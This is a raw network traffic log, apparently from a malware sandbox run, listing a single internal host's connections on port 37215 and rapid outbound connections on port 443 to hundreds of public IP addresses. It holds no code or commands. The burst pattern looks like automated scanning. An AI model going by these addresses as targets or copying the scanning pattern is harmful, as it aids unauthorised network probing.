Oct 17, 2024 02:19:41.069962025 CEST	37215	20644	197.64.100.22	192.168.2.14
Oct 17, 2024 02:19:41.069977045 CEST	37215	20644	41.175.177.199	192.168.2.14
Oct 17, 2024 02:19:41.069986105 CEST	20644	37215	192.168.2.14	156.195.89.159
Oct 17, 2024 02:19:41.069986105 CEST	20644	37215	192.168.2.14	41.31.153.180
Oct 17, 2024 02:19:41.069991112 CEST	37215	20644	156.143.58.163	192.168.2.14
Oct 17, 2024 02:19:41.070005894 CEST	37215	20644	156.181.176.211	192.168.2.14
Oct 17, 2024 02:19:41.070014954 CEST	20644	37215	192.168.2.14	197.64.100.22
Oct 17, 2024 02:19:41.070024014 CEST	37215	20644	197.85.47.182	192.168.2.14
Oct 17, 2024 02:19:41.070045948 CEST	20644	37215	192.168.2.14	41.175.177.199
Oct 17, 2024 02:19:41.070045948 CEST	20644	37215	192.168.2.14	156.143.58.163
Oct 17, 2024 02:19:41.070045948 CEST	20644	37215	192.168.2.14	156.181.176.211
Oct 17, 2024 02:19:41.070058107 CEST	20644	37215	192.168.2.14	197.85.47.182
Oct 17, 2024 02:19:41.076920986 CEST	48374	443	192.168.2.14	117.184.202.170
Oct 17, 2024 02:19:41.076973915 CEST	443	48374	117.184.202.170	192.168.2.14
Oct 17, 2024 02:19:41.077039957 CEST	48374	443	192.168.2.14	117.184.202.170
Oct 17, 2024 02:19:41.095441103 CEST	55030	443	192.168.2.14	212.14.178.114
Oct 17, 2024 02:19:41.095515966 CEST	443	55030	212.14.178.114	192.168.2.14
Oct 17, 2024 02:19:41.095606089 CEST	55030	443	192.168.2.14	212.14.178.114
Oct 17, 2024 02:19:41.097966909 CEST	45754	443	192.168.2.14	94.254.142.163
Oct 17, 2024 02:19:41.097994089 CEST	443	45754	94.254.142.163	192.168.2.14
Oct 17, 2024 02:19:41.098037004 CEST	45754	443	192.168.2.14	94.254.142.163
Oct 17, 2024 02:19:41.100400925 CEST	52518	443	192.168.2.14	210.223.79.232
Oct 17, 2024 02:19:41.100440979 CEST	443	52518	210.223.79.232	192.168.2.14
Oct 17, 2024 02:19:41.100487947 CEST	52518	443	192.168.2.14	210.223.79.232
Oct 17, 2024 02:19:41.102761030 CEST	48734	443	192.168.2.14	2.145.78.129
Oct 17, 2024 02:19:41.107480049 CEST	37296	443	192.168.2.14	212.201.183.181
Oct 17, 2024 02:19:41.107516050 CEST	443	37296	212.201.183.181	192.168.2.14
Oct 17, 2024 02:19:41.107567072 CEST	37296	443	192.168.2.14	212.201.183.181
Oct 17, 2024 02:19:41.109873056 CEST	54210	443	192.168.2.14	148.199.235.17
Oct 17, 2024 02:19:41.111267090 CEST	60928	443	192.168.2.14	212.60.66.16
Oct 17, 2024 02:19:41.112339973 CEST	58334	443	192.168.2.14	118.253.42.53
Oct 17, 2024 02:19:41.114329100 CEST	45080	443	192.168.2.14	109.86.235.87
Oct 17, 2024 02:19:41.116873026 CEST	41474	443	192.168.2.14	42.134.47.176
Oct 17, 2024 02:19:41.118504047 CEST	55068	443	192.168.2.14	178.176.33.253
Oct 17, 2024 02:19:41.120456934 CEST	36426	443	192.168.2.14	109.224.137.146
Oct 17, 2024 02:19:41.120477915 CEST	443	36426	109.224.137.146	192.168.2.14
Oct 17, 2024 02:19:41.120517015 CEST	36426	443	192.168.2.14	109.224.137.146
Oct 17, 2024 02:19:41.122558117 CEST	49896	443	192.168.2.14	202.116.136.217
Oct 17, 2024 02:19:41.124756098 CEST	33854	443	192.168.2.14	94.143.132.188
Oct 17, 2024 02:19:41.125998974 CEST	33508	443	192.168.2.14	210.29.71.196
Oct 17, 2024 02:19:41.126480103 CEST	59524	443	192.168.2.14	2.168.41.147
Oct 17, 2024 02:19:41.128684998 CEST	35546	443	192.168.2.14	37.151.27.138
Oct 17, 2024 02:19:41.128720999 CEST	443	35546	37.151.27.138	192.168.2.14
Oct 17, 2024 02:19:41.128829956 CEST	35546	443	192.168.2.14	37.151.27.138
Oct 17, 2024 02:19:41.131067038 CEST	20641	443	192.168.2.14	2.112.113.221
Oct 17, 2024 02:19:41.131114006 CEST	20641	443	192.168.2.14	117.0.48.156
Oct 17, 2024 02:19:41.131114006 CEST	20641	443	192.168.2.14	109.145.220.22
Oct 17, 2024 02:19:41.131135941 CEST	20641	443	192.168.2.14	118.150.134.223
Oct 17, 2024 02:19:41.131135941 CEST	20641	443	192.168.2.14	210.71.93.166
Oct 17, 2024 02:19:41.131135941 CEST	20641	443	192.168.2.14	178.106.59.21
Oct 17, 2024 02:19:41.131135941 CEST	20641	443	192.168.2.14	148.186.241.45
Oct 17, 2024 02:19:41.131160021 CEST	20641	443	192.168.2.14	5.210.170.78
Oct 17, 2024 02:19:41.131191015 CEST	20641	443	192.168.2.14	117.149.1.159
Oct 17, 2024 02:19:41.131207943 CEST	20641	443	192.168.2.14	123.86.177.30
Oct 17, 2024 02:19:41.131207943 CEST	20641	443	192.168.2.14	94.236.163.189
Oct 17, 2024 02:19:41.131226063 CEST	20641	443	192.168.2.14	202.253.51.76
Oct 17, 2024 02:19:41.131226063 CEST	20641	443	192.168.2.14	117.211.157.44
Oct 17, 2024 02:19:41.131227970 CEST	20641	443	192.168.2.14	148.136.178.223
Oct 17, 2024 02:19:41.131248951 CEST	20641	443	192.168.2.14	42.61.26.40
Oct 17, 2024 02:19:41.131249905 CEST	20641	443	192.168.2.14	37.185.0.54
Oct 17, 2024 02:19:41.131251097 CEST	20641	443	192.168.2.14	178.142.187.148
Oct 17, 2024 02:19:41.131273031 CEST	20641	443	192.168.2.14	109.17.245.28
Oct 17, 2024 02:19:41.131279945 CEST	20641	443	192.168.2.14	212.40.3.25
Oct 17, 2024 02:19:41.131288052 CEST	20641	443	192.168.2.14	148.78.188.114
Oct 17, 2024 02:19:41.131289005 CEST	20641	443	192.168.2.14	202.209.83.241
Oct 17, 2024 02:19:41.131299019 CEST	20641	443	192.168.2.14	37.40.187.174
Oct 17, 2024 02:19:41.131313086 CEST	20641	443	192.168.2.14	202.174.207.226
Oct 17, 2024 02:19:41.131316900 CEST	20641	443	192.168.2.14	117.240.32.216
Oct 17, 2024 02:19:41.131316900 CEST	20641	443	192.168.2.14	117.209.213.1
Oct 17, 2024 02:19:41.131320000 CEST	20641	443	192.168.2.14	117.142.4.31
Oct 17, 2024 02:19:41.131347895 CEST	20641	443	192.168.2.14	2.222.135.62
Oct 17, 2024 02:19:41.131351948 CEST	20641	443	192.168.2.14	37.209.11.153
Oct 17, 2024 02:19:41.131357908 CEST	20641	443	192.168.2.14	5.129.23.253
Oct 17, 2024 02:19:41.131369114 CEST	20641	443	192.168.2.14	202.30.202.66
Oct 17, 2024 02:19:41.131371975 CEST	20641	443	192.168.2.14	94.196.185.182
Oct 17, 2024 02:19:41.131378889 CEST	20641	443	192.168.2.14	42.235.203.119
Oct 17, 2024 02:19:41.131392002 CEST	20641	443	192.168.2.14	5.141.221.129
Oct 17, 2024 02:19:41.131392956 CEST	20641	443	192.168.2.14	37.247.39.254
Oct 17, 2024 02:19:41.131412029 CEST	20641	443	192.168.2.14	42.7.204.202
Oct 17, 2024 02:19:41.131412029 CEST	20641	443	192.168.2.14	117.72.129.33
Oct 17, 2024 02:19:41.131414890 CEST	20641	443	192.168.2.14	178.192.69.193
Oct 17, 2024 02:19:41.131421089 CEST	20641	443	192.168.2.14	109.175.181.184
Oct 17, 2024 02:19:41.131421089 CEST	20641	443	192.168.2.14	37.250.99.255
Oct 17, 2024 02:19:41.131421089 CEST	20641	443	192.168.2.14	178.154.249.118
Oct 17, 2024 02:19:41.131453037 CEST	20641	443	192.168.2.14	123.203.245.88
Oct 17, 2024 02:19:41.131453037 CEST	20641	443	192.168.2.14	148.88.120.156
Oct 17, 2024 02:19:41.131454945 CEST	20641	443	192.168.2.14	37.112.141.177
Oct 17, 2024 02:19:41.131454945 CEST	20641	443	192.168.2.14	210.35.108.146
Oct 17, 2024 02:19:41.131454945 CEST	20641	443	192.168.2.14	202.249.186.60
Oct 17, 2024 02:19:41.131457090 CEST	20641	443	192.168.2.14	202.145.23.35
Oct 17, 2024 02:19:41.131473064 CEST	20641	443	192.168.2.14	42.224.5.39
Oct 17, 2024 02:19:41.131474972 CEST	20641	443	192.168.2.14	5.44.217.198
Oct 17, 2024 02:19:41.131474972 CEST	20641	443	192.168.2.14	212.60.97.98
Oct 17, 2024 02:19:41.131477118 CEST	20641	443	192.168.2.14	118.210.240.101
Oct 17, 2024 02:19:41.131510973 CEST	20641	443	192.168.2.14	42.130.159.164
Oct 17, 2024 02:19:41.131516933 CEST	20641	443	192.168.2.14	117.233.26.109
Oct 17, 2024 02:19:41.131517887 CEST	20641	443	192.168.2.14	118.129.102.199
Oct 17, 2024 02:19:41.131520033 CEST	20641	443	192.168.2.14	37.227.142.141
Oct 17, 2024 02:19:41.131520033 CEST	20641	443	192.168.2.14	123.135.48.76
Oct 17, 2024 02:19:41.131534100 CEST	20641	443	192.168.2.14	5.207.125.194
Oct 17, 2024 02:19:41.131534100 CEST	20641	443	192.168.2.14	202.137.178.49
Oct 17, 2024 02:19:41.131542921 CEST	20641	443	192.168.2.14	118.191.66.193
Oct 17, 2024 02:19:41.131546974 CEST	20641	443	192.168.2.14	5.60.11.30
Oct 17, 2024 02:19:41.131546974 CEST	20641	443	192.168.2.14	178.119.221.45
Oct 17, 2024 02:19:41.131551027 CEST	20641	443	192.168.2.14	94.141.239.157
Oct 17, 2024 02:19:41.131567955 CEST	20641	443	192.168.2.14	117.215.209.145
Oct 17, 2024 02:19:41.131571054 CEST	20641	443	192.168.2.14	109.129.113.153
Oct 17, 2024 02:19:41.131571054 CEST	20641	443	192.168.2.14	94.204.224.83
Oct 17, 2024 02:19:41.131573915 CEST	20641	443	192.168.2.14	123.66.187.65
Oct 17, 2024 02:19:41.131573915 CEST	20641	443	192.168.2.14	202.103.179.174
Oct 17, 2024 02:19:41.131589890 CEST	20641	443	192.168.2.14	109.244.239.213
Oct 17, 2024 02:19:41.131591082 CEST	20641	443	192.168.2.14	109.45.244.84
Oct 17, 2024 02:19:41.131634951 CEST	20641	443	192.168.2.14	42.1.6.82
Oct 17, 2024 02:19:41.131635904 CEST	20641	443	192.168.2.14	212.38.56.157
Oct 17, 2024 02:19:41.131652117 CEST	20641	443	192.168.2.14	118.23.115.81
Oct 17, 2024 02:19:41.131675005 CEST	20641	443	192.168.2.14	118.214.1.188
Oct 17, 2024 02:19:41.131680012 CEST	20641	443	192.168.2.14	42.117.238.205
Oct 17, 2024 02:19:41.131680012 CEST	20641	443	192.168.2.14	178.156.102.11
Oct 17, 2024 02:19:41.131705999 CEST	20641	443	192.168.2.14	5.238.115.90
Oct 17, 2024 02:19:41.131715059 CEST	20641	443	192.168.2.14	148.240.30.219
Oct 17, 2024 02:19:41.131716967 CEST	20641	443	192.168.2.14	210.244.164.187
Oct 17, 2024 02:19:41.131716967 CEST	20641	443	192.168.2.14	123.81.166.154
Oct 17, 2024 02:19:41.131716967 CEST	20641	443	192.168.2.14	42.212.12.211
Oct 17, 2024 02:19:41.131725073 CEST	20641	443	192.168.2.14	212.151.220.134
Oct 17, 2024 02:19:41.131738901 CEST	20641	443	192.168.2.14	210.54.164.166
Oct 17, 2024 02:19:41.131742001 CEST	20641	443	192.168.2.14	2.113.177.5
Oct 17, 2024 02:19:41.131756067 CEST	20641	443	192.168.2.14	202.143.152.103
Oct 17, 2024 02:19:41.131762981 CEST	20641	443	192.168.2.14	5.221.173.49
Oct 17, 2024 02:19:41.131762981 CEST	20641	443	192.168.2.14	109.247.122.97
Oct 17, 2024 02:19:41.131763935 CEST	20641	443	192.168.2.14	148.139.205.202
Oct 17, 2024 02:19:41.131772995 CEST	20641	443	192.168.2.14	202.190.183.246
Oct 17, 2024 02:19:41.131788969 CEST	20641	443	192.168.2.14	212.100.69.193
Oct 17, 2024 02:19:41.131788969 CEST	20641	443	192.168.2.14	42.7.211.220
Oct 17, 2024 02:19:41.131810904 CEST	20641	443	192.168.2.14	210.201.53.240
Oct 17, 2024 02:19:41.131810904 CEST	20641	443	192.168.2.14	94.62.166.15
Oct 17, 2024 02:19:41.131810904 CEST	20641	443	192.168.2.14	118.182.141.211
Oct 17, 2024 02:19:41.131810904 CEST	20641	443	192.168.2.14	178.118.59.40
Oct 17, 2024 02:19:41.131810904 CEST	20641	443	192.168.2.14	94.144.9.173
Oct 17, 2024 02:19:41.131822109 CEST	20641	443	192.168.2.14	148.44.118.161
Oct 17, 2024 02:19:41.131823063 CEST	20641	443	192.168.2.14	94.161.186.58
Oct 17, 2024 02:19:41.131836891 CEST	20641	443	192.168.2.14	37.159.177.81
Oct 17, 2024 02:19:41.131844997 CEST	20641	443	192.168.2.14	178.101.95.74
Oct 17, 2024 02:19:41.131861925 CEST	20641	443	192.168.2.14	212.41.104.76
Oct 17, 2024 02:19:41.131880999 CEST	20641	443	192.168.2.14	79.70.74.88
Oct 17, 2024 02:19:41.131894112 CEST	20641	443	192.168.2.14	2.30.125.131
Oct 17, 2024 02:19:41.131897926 CEST	20641	443	192.168.2.14	42.72.218.214
Oct 17, 2024 02:19:41.131913900 CEST	20641	443	192.168.2.14	118.95.138.88
Oct 17, 2024 02:19:41.131917000 CEST	20641	443	192.168.2.14	148.238.33.119
Oct 17, 2024 02:19:41.131917953 CEST	20641	443	192.168.2.14	94.53.64.43
Oct 17, 2024 02:19:41.131917953 CEST	20641	443	192.168.2.14	94.187.179.55
Oct 17, 2024 02:19:41.131934881 CEST	20641	443	192.168.2.14	5.242.254.198
Oct 17, 2024 02:19:41.131949902 CEST	20641	443	192.168.2.14	212.226.26.36
Oct 17, 2024 02:19:41.131956100 CEST	20641	443	192.168.2.14	118.154.7.9
Oct 17, 2024 02:19:41.131977081 CEST	20641	443	192.168.2.14	148.17.107.81
Oct 17, 2024 02:19:41.131985903 CEST	20641	443	192.168.2.14	148.187.183.124
Oct 17, 2024 02:19:41.132005930 CEST	20641	443	192.168.2.14	109.136.169.190
Oct 17, 2024 02:19:41.132005930 CEST	20641	443	192.168.2.14	118.119.36.64
Oct 17, 2024 02:19:41.132014990 CEST	20641	443	192.168.2.14	178.203.141.228
Oct 17, 2024 02:19:41.132019997 CEST	20641	443	192.168.2.14	178.7.206.82
Oct 17, 2024 02:19:41.132026911 CEST	20641	443	192.168.2.14	178.250.200.170
Oct 17, 2024 02:19:41.132039070 CEST	20641	443	192.168.2.14	79.197.42.252
Oct 17, 2024 02:19:41.132055044 CEST	20641	443	192.168.2.14	210.45.102.165
Oct 17, 2024 02:19:41.132061005 CEST	20641	443	192.168.2.14	109.115.170.104
Oct 17, 2024 02:19:41.132061005 CEST	20641	443	192.168.2.14	117.220.81.58
Oct 17, 2024 02:19:41.132061958 CEST	20641	443	192.168.2.14	148.19.152.36
Oct 17, 2024 02:19:41.132061958 CEST	20641	443	192.168.2.14	79.71.179.91
Oct 17, 2024 02:19:41.132061958 CEST	20641	443	192.168.2.14	79.147.39.17
Oct 17, 2024 02:19:41.132062912 CEST	20641	443	192.168.2.14	212.31.134.122
Oct 17, 2024 02:19:41.132066011 CEST	20641	443	192.168.2.14	42.44.146.242
Oct 17, 2024 02:19:41.132069111 CEST	20641	443	192.168.2.14	5.212.92.30
Oct 17, 2024 02:19:41.132085085 CEST	20641	443	192.168.2.14	37.86.252.119
Oct 17, 2024 02:19:41.132085085 CEST	20641	443	192.168.2.14	212.215.133.253
Oct 17, 2024 02:19:41.132091045 CEST	20641	443	192.168.2.14	212.112.92.24
Oct 17, 2024 02:19:41.132117987 CEST	20641	443	192.168.2.14	148.163.25.168
Oct 17, 2024 02:19:41.132117987 CEST	20641	443	192.168.2.14	79.60.194.195
Oct 17, 2024 02:19:41.132117987 CEST	20641	443	192.168.2.14	42.123.85.10
Oct 17, 2024 02:19:41.132129908 CEST	20641	443	192.168.2.14	5.103.132.205
Oct 17, 2024 02:19:41.132138014 CEST	20641	443	192.168.2.14	118.238.143.148
Oct 17, 2024 02:19:41.132153034 CEST	20641	443	192.168.2.14	202.192.205.72
Oct 17, 2024 02:19:41.132172108 CEST	20641	443	192.168.2.14	2.211.187.108
Oct 17, 2024 02:19:41.132199049 CEST	20641	443	192.168.2.14	2.190.150.81
Oct 17, 2024 02:19:41.132213116 CEST	20641	443	192.168.2.14	117.164.240.102
Oct 17, 2024 02:19:41.132214069 CEST	20641	443	192.168.2.14	42.170.47.7
Oct 17, 2024 02:19:41.132214069 CEST	20641	443	192.168.2.14	148.184.242.118
Oct 17, 2024 02:19:41.132215023 CEST	20641	443	192.168.2.14	210.81.150.232
Oct 17, 2024 02:19:41.132215023 CEST	20641	443	192.168.2.14	42.65.122.25
Oct 17, 2024 02:19:41.132215023 CEST	20641	443	192.168.2.14	109.9.103.26
Oct 17, 2024 02:19:41.132230997 CEST	20641	443	192.168.2.14	178.11.69.184
Oct 17, 2024 02:19:41.132232904 CEST	20641	443	192.168.2.14	42.229.167.253
Oct 17, 2024 02:19:41.132234097 CEST	20641	443	192.168.2.14	79.29.82.130
Oct 17, 2024 02:19:41.132239103 CEST	20641	443	192.168.2.14	117.140.103.202
Oct 17, 2024 02:19:41.132253885 CEST	20641	443	192.168.2.14	210.99.139.160
Oct 17, 2024 02:19:41.132261992 CEST	20641	443	192.168.2.14	79.8.176.255
Oct 17, 2024 02:19:41.132287025 CEST	20641	443	192.168.2.14	148.90.49.165
Oct 17, 2024 02:19:41.132292032 CEST	20641	443	192.168.2.14	2.43.173.73
Oct 17, 2024 02:19:41.132294893 CEST	20641	443	192.168.2.14	5.55.164.245
Oct 17, 2024 02:19:41.132294893 CEST	20641	443	192.168.2.14	109.253.93.220
Oct 17, 2024 02:19:41.132313013 CEST	20641	443	192.168.2.14	210.54.48.46
Oct 17, 2024 02:19:41.132313013 CEST	20641	443	192.168.2.14	5.11.137.183
Oct 17, 2024 02:19:41.132313013 CEST	20641	443	192.168.2.14	79.251.31.23
Oct 17, 2024 02:19:41.132317066 CEST	20641	443	192.168.2.14	148.6.156.154
Oct 17, 2024 02:19:41.132317066 CEST	20641	443	192.168.2.14	148.73.98.47
Oct 17, 2024 02:19:41.132324934 CEST	20641	443	192.168.2.14	178.147.73.153
Oct 17, 2024 02:19:41.132333040 CEST	20641	443	192.168.2.14	148.239.120.182
Oct 17, 2024 02:19:41.132333040 CEST	20641	443	192.168.2.14	123.119.39.71
Oct 17, 2024 02:19:41.132342100 CEST	20641	443	192.168.2.14	178.66.188.63
Oct 17, 2024 02:19:41.132371902 CEST	20641	443	192.168.2.14	37.33.144.235
Oct 17, 2024 02:19:41.132379055 CEST	20641	443	192.168.2.14	210.210.208.143
Oct 17, 2024 02:19:41.132383108 CEST	20641	443	192.168.2.14	5.101.48.239
Oct 17, 2024 02:19:41.132385969 CEST	20641	443	192.168.2.14	37.117.115.163
Oct 17, 2024 02:19:41.132414103 CEST	20641	443	192.168.2.14	79.27.200.246
Oct 17, 2024 02:19:41.132438898 CEST	20641	443	192.168.2.14	148.166.170.46
Oct 17, 2024 02:19:41.132446051 CEST	20641	443	192.168.2.14	212.25.205.158
Oct 17, 2024 02:19:41.132446051 CEST	20641	443	192.168.2.14	42.248.25.235
Oct 17, 2024 02:19:41.132447004 CEST	20641	443	192.168.2.14	178.122.249.94
Oct 17, 2024 02:19:41.132467031 CEST	20641	443	192.168.2.14	94.167.255.216
Oct 17, 2024 02:19:41.132468939 CEST	20641	443	192.168.2.14	118.151.172.183
Oct 17, 2024 02:19:41.132468939 CEST	20641	443	192.168.2.14	212.107.147.24
Oct 17, 2024 02:19:41.132483959 CEST	20641	443	192.168.2.14	109.226.78.76
Oct 17, 2024 02:19:41.132493973 CEST	20641	443	192.168.2.14	2.146.114.118
Oct 17, 2024 02:19:41.132493973 CEST	20641	443	192.168.2.14	5.234.66.30
Oct 17, 2024 02:19:41.132493973 CEST	20641	443	192.168.2.14	148.179.113.157
Oct 17, 2024 02:19:41.132519960 CEST	20641	443	192.168.2.14	148.79.218.111
Oct 17, 2024 02:19:41.132523060 CEST	20641	443	192.168.2.14	212.84.71.97
Oct 17, 2024 02:19:41.132527113 CEST	20641	443	192.168.2.14	123.216.201.178
Oct 17, 2024 02:19:41.132529020 CEST	20641	443	192.168.2.14	2.41.219.240
Oct 17, 2024 02:19:41.132538080 CEST	20641	443	192.168.2.14	94.247.14.170
Oct 17, 2024 02:19:41.132560015 CEST	20641	443	192.168.2.14	79.219.28.38
Oct 17, 2024 02:19:41.132564068 CEST	20641	443	192.168.2.14	202.71.90.169
Oct 17, 2024 02:19:41.132565975 CEST	20641	443	192.168.2.14	5.17.139.163
Oct 17, 2024 02:19:41.132595062 CEST	20641	443	192.168.2.14	94.159.186.197
Oct 17, 2024 02:19:41.132595062 CEST	20641	443	192.168.2.14	42.97.226.64
Oct 17, 2024 02:19:41.132597923 CEST	20641	443	192.168.2.14	2.250.12.45
Oct 17, 2024 02:19:41.132599115 CEST	20641	443	192.168.2.14	123.160.149.177
Oct 17, 2024 02:19:41.132603884 CEST	20641	443	192.168.2.14	178.166.187.97
Oct 17, 2024 02:19:41.132611990 CEST	20641	443	192.168.2.14	212.243.167.237
Oct 17, 2024 02:19:41.132613897 CEST	20641	443	192.168.2.14	210.155.107.158
Oct 17, 2024 02:19:41.132613897 CEST	20641	443	192.168.2.14	117.179.215.92
Oct 17, 2024 02:19:41.132620096 CEST	20641	443	192.168.2.14	123.20.217.104
Oct 17, 2024 02:19:41.132632017 CEST	20641	443	192.168.2.14	117.247.57.61
Oct 17, 2024 02:19:41.132632971 CEST	20641	443	192.168.2.14	2.214.116.2
Oct 17, 2024 02:19:41.132652998 CEST	20641	443	192.168.2.14	117.241.12.116
Oct 17, 2024 02:19:41.132652998 CEST	20641	443	192.168.2.14	79.87.199.247
Oct 17, 2024 02:19:41.132658005 CEST	20641	443	192.168.2.14	2.180.181.130
Oct 17, 2024 02:19:41.132658005 CEST	20641	443	192.168.2.14	148.30.81.15
Oct 17, 2024 02:19:41.132663012 CEST	20641	443	192.168.2.14	94.189.126.103
Oct 17, 2024 02:19:41.132663012 CEST	20641	443	192.168.2.14	37.205.10.222
Oct 17, 2024 02:19:41.132690907 CEST	20641	443	192.168.2.14	79.223.6.79
Oct 17, 2024 02:19:41.132700920 CEST	20641	443	192.168.2.14	210.31.57.0
Oct 17, 2024 02:19:41.132707119 CEST	20641	443	192.168.2.14	210.127.78.150
Oct 17, 2024 02:19:41.132707119 CEST	20641	443	192.168.2.14	109.79.207.99
Oct 17, 2024 02:19:41.132711887 CEST	20641	443	192.168.2.14	117.24.233.10
Oct 17, 2024 02:19:41.132741928 CEST	20641	443	192.168.2.14	148.23.28.128
Oct 17, 2024 02:19:41.132741928 CEST	20641	443	192.168.2.14	202.226.129.155
Oct 17, 2024 02:19:41.132745028 CEST	20641	443	192.168.2.14	94.222.49.231
Oct 17, 2024 02:19:41.132756948 CEST	20641	443	192.168.2.14	94.144.61.182
Oct 17, 2024 02:19:41.132756948 CEST	20641	443	192.168.2.14	2.216.115.221
Oct 17, 2024 02:19:41.132776976 CEST	20641	443	192.168.2.14	118.148.254.210
Oct 17, 2024 02:19:41.132806063 CEST	20641	443	192.168.2.14	123.167.102.55
Oct 17, 2024 02:19:41.132806063 CEST	20641	443	192.168.2.14	118.161.249.12
Oct 17, 2024 02:19:41.132806063 CEST	20641	443	192.168.2.14	178.93.0.192
Oct 17, 2024 02:19:41.132807970 CEST	20641	443	192.168.2.14	210.174.238.54
Oct 17, 2024 02:19:41.132827997 CEST	20641	443	192.168.2.14	123.60.141.192
Oct 17, 2024 02:19:41.132827997 CEST	20641	443	192.168.2.14	109.134.239.187
Oct 17, 2024 02:19:41.132843971 CEST	20641	443	192.168.2.14	118.218.218.148
Oct 17, 2024 02:19:41.132844925 CEST	20641	443	192.168.2.14	148.227.46.101
Oct 17, 2024 02:19:41.132854939 CEST	20641	443	192.168.2.14	94.84.166.143
Oct 17, 2024 02:19:41.132854939 CEST	20641	443	192.168.2.14	202.104.158.36
Oct 17, 2024 02:19:41.132865906 CEST	20641	443	192.168.2.14	212.47.138.155
Oct 17, 2024 02:19:41.132870913 CEST	20641	443	192.168.2.14	148.110.75.144
Oct 17, 2024 02:19:41.132874966 CEST	20641	443	192.168.2.14	79.129.227.196
Oct 17, 2024 02:19:41.132878065 CEST	20641	443	192.168.2.14	109.3.25.102
Oct 17, 2024 02:19:41.132886887 CEST	20641	443	192.168.2.14	109.134.74.86
Oct 17, 2024 02:19:41.132905006 CEST	20641	443	192.168.2.14	37.18.4.147
Oct 17, 2024 02:19:41.132909060 CEST	20641	443	192.168.2.14	148.99.159.97
Oct 17, 2024 02:19:41.132911921 CEST	20641	443	192.168.2.14	2.250.62.106
Oct 17, 2024 02:19:41.132920027 CEST	20641	443	192.168.2.14	42.86.35.57
Oct 17, 2024 02:19:41.132930994 CEST	20641	443	192.168.2.14	178.82.24.89
Oct 17, 2024 02:19:41.132939100 CEST	20641	443	192.168.2.14	212.138.50.23
Oct 17, 2024 02:19:41.132941008 CEST	20641	443	192.168.2.14	123.183.245.28
Oct 17, 2024 02:19:41.132957935 CEST	20641	443	192.168.2.14	37.88.95.225
Oct 17, 2024 02:19:41.132966995 CEST	20641	443	192.168.2.14	212.195.20.166
Oct 17, 2024 02:19:41.132976055 CEST	20641	443	192.168.2.14	117.145.53.91
Oct 17, 2024 02:19:41.132987976 CEST	20641	443	192.168.2.14	109.233.182.127
Oct 17, 2024 02:19:41.132993937 CEST	20641	443	192.168.2.14	123.32.119.163
Oct 17, 2024 02:19:41.133008003 CEST	20641	443	192.168.2.14	117.152.235.7
Oct 17, 2024 02:19:41.133008957 CEST	20641	443	192.168.2.14	178.110.113.117
Oct 17, 2024 02:19:41.133011103 CEST	20641	443	192.168.2.14	210.57.11.67
Oct 17, 2024 02:19:41.133012056 CEST	20641	443	192.168.2.14	109.149.23.149
Oct 17, 2024 02:19:41.133013010 CEST	20641	443	192.168.2.14	178.195.202.200
Oct 17, 2024 02:19:41.133013010 CEST	20641	443	192.168.2.14	109.114.156.239
Oct 17, 2024 02:19:41.133038998 CEST	20641	443	192.168.2.14	148.95.77.38
Oct 17, 2024 02:19:41.133043051 CEST	20641	443	192.168.2.14	202.3.226.192
Oct 17, 2024 02:19:41.133050919 CEST	20641	443	192.168.2.14	79.227.59.196
Oct 17, 2024 02:19:41.133064032 CEST	20641	443	192.168.2.14	42.164.115.93
Oct 17, 2024 02:19:41.133074045 CEST	20641	443	192.168.2.14	79.174.39.24
Oct 17, 2024 02:19:41.133089066 CEST	20641	443	192.168.2.14	210.167.134.70
Oct 17, 2024 02:19:41.133090019 CEST	20641	443	192.168.2.14	202.76.211.197
Oct 17, 2024 02:19:41.133090973 CEST	20641	443	192.168.2.14	148.87.195.222
Oct 17, 2024 02:19:41.133090973 CEST	20641	443	192.168.2.14	212.187.8.26
Oct 17, 2024 02:19:41.133124113 CEST	20641	443	192.168.2.14	94.23.95.97
Oct 17, 2024 02:19:41.133125067 CEST	20641	443	192.168.2.14	123.58.33.65
Oct 17, 2024 02:19:41.133125067 CEST	20641	443	192.168.2.14	202.21.246.192
Oct 17, 2024 02:19:41.133137941 CEST	20641	443	192.168.2.14	2.145.190.255
Oct 17, 2024 02:19:41.133137941 CEST	20641	443	192.168.2.14	212.191.16.99
Oct 17, 2024 02:19:41.133166075 CEST	20641	443	192.168.2.14	123.7.147.186
Oct 17, 2024 02:19:41.133167028 CEST	20641	443	192.168.2.14	109.130.38.32
Oct 17, 2024 02:19:41.133167028 CEST	20641	443	192.168.2.14	148.42.138.102
Oct 17, 2024 02:19:41.133171082 CEST	20641	443	192.168.2.14	210.6.1.6
Oct 17, 2024 02:19:41.133171082 CEST	20641	443	192.168.2.14	202.51.13.211
Oct 17, 2024 02:19:41.133171082 CEST	20641	443	192.168.2.14	5.219.202.84
Oct 17, 2024 02:19:41.133177042 CEST	20641	443	192.168.2.14	37.105.165.115
Oct 17, 2024 02:19:41.133182049 CEST	20641	443	192.168.2.14	37.26.96.158
Oct 17, 2024 02:19:41.133194923 CEST	20641	443	192.168.2.14	94.245.35.216
Oct 17, 2024 02:19:41.133194923 CEST	20641	443	192.168.2.14	123.69.192.84
Oct 17, 2024 02:19:41.133200884 CEST	20641	443	192.168.2.14	42.202.128.177
Oct 17, 2024 02:19:41.133200884 CEST	20641	443	192.168.2.14	109.6.248.229
Oct 17, 2024 02:19:41.133207083 CEST	20641	443	192.168.2.14	2.140.86.109
Oct 17, 2024 02:19:41.133208036 CEST	20641	443	192.168.2.14	212.66.217.103
Oct 17, 2024 02:19:41.133208036 CEST	20641	443	192.168.2.14	123.137.181.3
Oct 17, 2024 02:19:41.133218050 CEST	20641	443	192.168.2.14	212.254.130.186
Oct 17, 2024 02:19:41.133229017 CEST	20641	443	192.168.2.14	202.18.206.91
Oct 17, 2024 02:19:41.133276939 CEST	20641	443	192.168.2.14	210.140.187.10
Oct 17, 2024 02:19:41.133292913 CEST	20641	443	192.168.2.14	178.214.80.93
Oct 17, 2024 02:19:41.133296013 CEST	20641	443	192.168.2.14	37.254.57.80
Oct 17, 2024 02:19:41.133296013 CEST	20641	443	192.168.2.14	37.165.204.0
Oct 17, 2024 02:19:41.133296967 CEST	20641	443	192.168.2.14	202.56.70.62
Oct 17, 2024 02:19:41.133300066 CEST	20641	443	192.168.2.14	210.195.50.201
Oct 17, 2024 02:19:41.133300066 CEST	20641	443	192.168.2.14	118.247.98.78
Oct 17, 2024 02:19:41.133300066 CEST	20641	443	192.168.2.14	42.245.189.46
Oct 17, 2024 02:19:41.133300066 CEST	20641	443	192.168.2.14	123.15.231.248
Oct 17, 2024 02:19:41.133306980 CEST	20641	443	192.168.2.14	37.235.166.184
Oct 17, 2024 02:19:41.133325100 CEST	20641	443	192.168.2.14	2.98.0.144
